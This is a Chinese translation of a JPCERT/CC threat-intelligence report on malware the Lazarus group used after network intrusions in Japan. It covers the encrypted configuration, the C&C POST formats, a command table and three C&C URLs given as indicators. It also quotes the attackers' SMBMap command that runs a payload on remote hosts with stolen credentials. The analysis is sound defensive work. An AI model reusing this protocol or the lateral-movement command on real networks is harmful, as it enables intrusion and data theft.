JPCERT / CC(日本互联网应急响应中心)发现了拉撒路(也称为“隐藏的眼镜蛇”)针对日本的攻击活动。其在入侵期间和入侵之后会使用不同类型的恶意软件,本文介绍了入侵后使用的一种恶意软件。

1、恶意软件概述

该恶意软件下载并执行恶意模块,并以.drv文件的形式保存在C:/Windows/System32/文件夹中,伪装成系统服务。该模块使用YMProtect软件进行混淆保护。文件末尾还填充了一些冗余的数据,这使得文件增加到150MB左右。图1显示了恶意模块下载和执行的流程。

图1:恶意软件行为

下面将分章节详细介绍该恶意软件的配置,通信格式以及模块。

2、配置

恶意软件的配置(大小为0x6DE)被加密存储在注册表项中,并在执行时加载。在此次分析中确认配置存储在下面目录中:

    Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\eventlog\ApplicationValue: Emulate

    图2是解码配置一个示例。它包含一个加密密钥以及C&C服务器信息。(详见附录A)

    图2:配置示例

    3、加密

    该恶意软件中的所有字符串均使用AES128加密,加密密钥被硬编码在恶意软件中,图3是加密密钥的示例。由于恶意软件要将16个字母的字符串转换为长字符串(32个字节),因此仅将前16个字节用作密钥。

    图3:AES加密密钥示例

    Windows API名称也是经过AES加密的。解密API字符串后,再由LoadLibrary和GetProcAddress 获取将要被调用的API地址。

    图4:Windows API 加密混淆

    4、C&C服务器通信

    以下是恶意软件首先发送的HTTP POST请求的示例。

      POST /[Path] HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Cookie: token=[a 4-digit random value][a 4-digit authentication key][times of communication]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Content-Length: [Size]Host:[Server]

      [param]=[Base64 data]

      POST数据的参数([param])是从以下随机选择的。

        tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;category;articles;portal;notice;product;themes;manual;parent;slide;vacon;tag;tistory;property;course;plugin

        POST数据中的值是下面数据的Base64编码的字符串。

          [default AES Key]@[Unique ID]

          如果从C&C服务器返回的响应与Cookie(Base64编码)中的“4-digit authentication key”的值相同,则该恶意软件将发送以下信息。

          在第二次通信后,恶意软件发送以下HTTP POST请求。

            POST /[Path] HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Content-Length: [Size]Host: [Server]Cookie: token=[numeric value]; JSESSIONID=[Session ID]

            [param]=[Data1 (Base64 + AES)][Data2 (Base64 + AES)]

            POST数据的参数是从上面列表中随机选择的。POST数据包含两条信息。“Data1”表示命令,而“Data2”表示命令执行的结果和其他的附加数据。(详情请参阅附录B中表B-1和B-2。)

            其响应的数据格式与请求的相同,只是没有参数。响应数据与POST数据一样先用AES加密,然后用base64编码,区别在于“+”符号用空格代替。

            图5是从与C&C服务器通信开始到下载模块的通信流程。在第二次通信中,恶意软件发送一个新的AES密钥,该密钥对随后的通信进行加密。

            图5:恶意软件通信流程

            在第三次通信中下载了一个模块。下面是下载模块时来自C&C服务器的响应示例。

              HTTP/1.1 200 OKDate: Tue, 25 Jun 2020 21:30:42 GMTServer: Apache/2.4.26 (Unix) OpenSSL/1.0.1Content-Encoding: ISO-8859-1Content-Type: text/html;charset=ISO-8859-1Access-Control-Allow-Origin: *Keep-Alive: timeout=5, max=98Connection: Keep-AliveTransfer-Encoding: chunked

              1ff885RR0p8Pq3VfTrSugxgO2Q==Bjpj4qAKXKypb9JFS8IVYleb2P8vp9axDdXCBd…

              5、模块下载

              模块下载成功后,将执行从C&C服务器接收的命令。(恶意软件提供了C&C服务器和加密密钥等信息作为参数。)下载的模块是经过UPX加壳的,如图6所示。

              图6:下载的已解码模块

              通信执行与之前提到的格式几乎相同。可以确认该模块具有以下功能:(详见附录C)

              • 对文件的操作(创建列表、删除、复制、修改创建时间)

              • 对进程的操作(创建列表、执行、关闭)

              • 上传/下载文件

              • 创建和上传一个任意目录的ZIP文件

              • 执行任意shell命令

              • 获取磁盘信息

              • 修改系统时间

              6、横向移动

              为了横向移动,攻击者使用了SMBMap [1]这个Python工具,通过Pyinstaller将其转换为Windows 可执行程序,该工具允许通过SMB访问远程主机。攻击者通过利用他们事先获得的账户信息进行内网横向移动。

                [File_Name].exe -u USERID -p PASSWORD=[password] -H [IP_Address] -x "c:\windows\system32rundll32.exe C:\ProgramData\iconcache.db,CryptGun [AES Key]"

                7、结尾

                拉撒路已经在很多国家开展了攻击活动,相关活动也被很多机构报道过。日本cert会对该组织进行跟踪分析。

                附录D中列出了本文中提到的示例中的C&C服务器信息。请确保没有任何设备与这些主机进行通信。

                参考文献

                [1] GitHub: SMBMap

                https://github.com/ShawnDEvans/smbmap

                附录

                附录A:配置

                表A:配置列表

                Offset

                Length

                Contents

                0x000C&C服务器的数量5

                0x004

                C&C服务器1

                0x104C&C服务器2

                0x204C&C服务器3

                0x304C&C服务器4

                0x404C&C服务器5

                0x504未分配

                包含“ cmd.exe”
                0x604操作时间

                0x616

                睡眠时间

                0x626

                版本信息

                包含“x64_1.0”
                0x676唯一ID标志

                0x67AID

                根据计算机名称创建唯一值
                0x6B6

                AES密钥

                附录B:交换数据的内容

                表B-1:Data1格式(已解密)

                Offset长度

                内容
                0x004Data1 大小
                0x042随机数
                0x062命令
                0x084Data2 大小
                0x0C2随机数或附加命令

                表B-2:Data2格式(已解密)

                Offset

                长度

                内容

                0x00

                4

                Data2 大小

                0x04

                -

                数据(内容取决于命令)

                附录C:命令

                表C:命令列表

                值

                内容

                0xABCF

                获取当前目录

                0xABD5

                获取文件列表

                0xABD7

                获取进程列表

                0xABD9

                终止进程

                0xABDB

                执行进程

                0xABDD

                执行进程 (CreateProcessAsUser)

                0xABE1

                下载文件

                0xABE3

                上传文件

                0xABE9

                上传文件(创建ZIP)

                0xABEB

                修改文件创建时间(timestomp)

                0xABED

                修改本地时间

                0xABF5

                删除文件(sdelete)

                0xABF7

                执行shell命令

                0xABF9

                检查连接

                0xAC03

                -

                0xAC05

                -

                0xAC07

                修改服务器C&C

                0xAC0D

                获取磁盘/文件信息

                0xAC15

                改变当前目录

                0xAC17

                -

                0xAC19

                获取加载进程信息

                0xAC27

                复制文件

                附录D: C&C服务器

                • https://gestao.simtelecomrs.com.br/sac/digital/client.jsp

                • https://sac.onecenter.com.br/sac/masks/wfr_masks.jsp

                • https://mk.bital.com.br/sac/Formule/Manager.jsp

                本文为CNTIC编译,不代表本公众号观点,转载请保留出处与链接。

                原文标题:Malware Used by Lazarus after Network Intrusion

                原文地址:https://blogs.jpcert.or.jp/en/2020/08/Lazarus-malware.html

                编译:CNTIC情报组

                声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。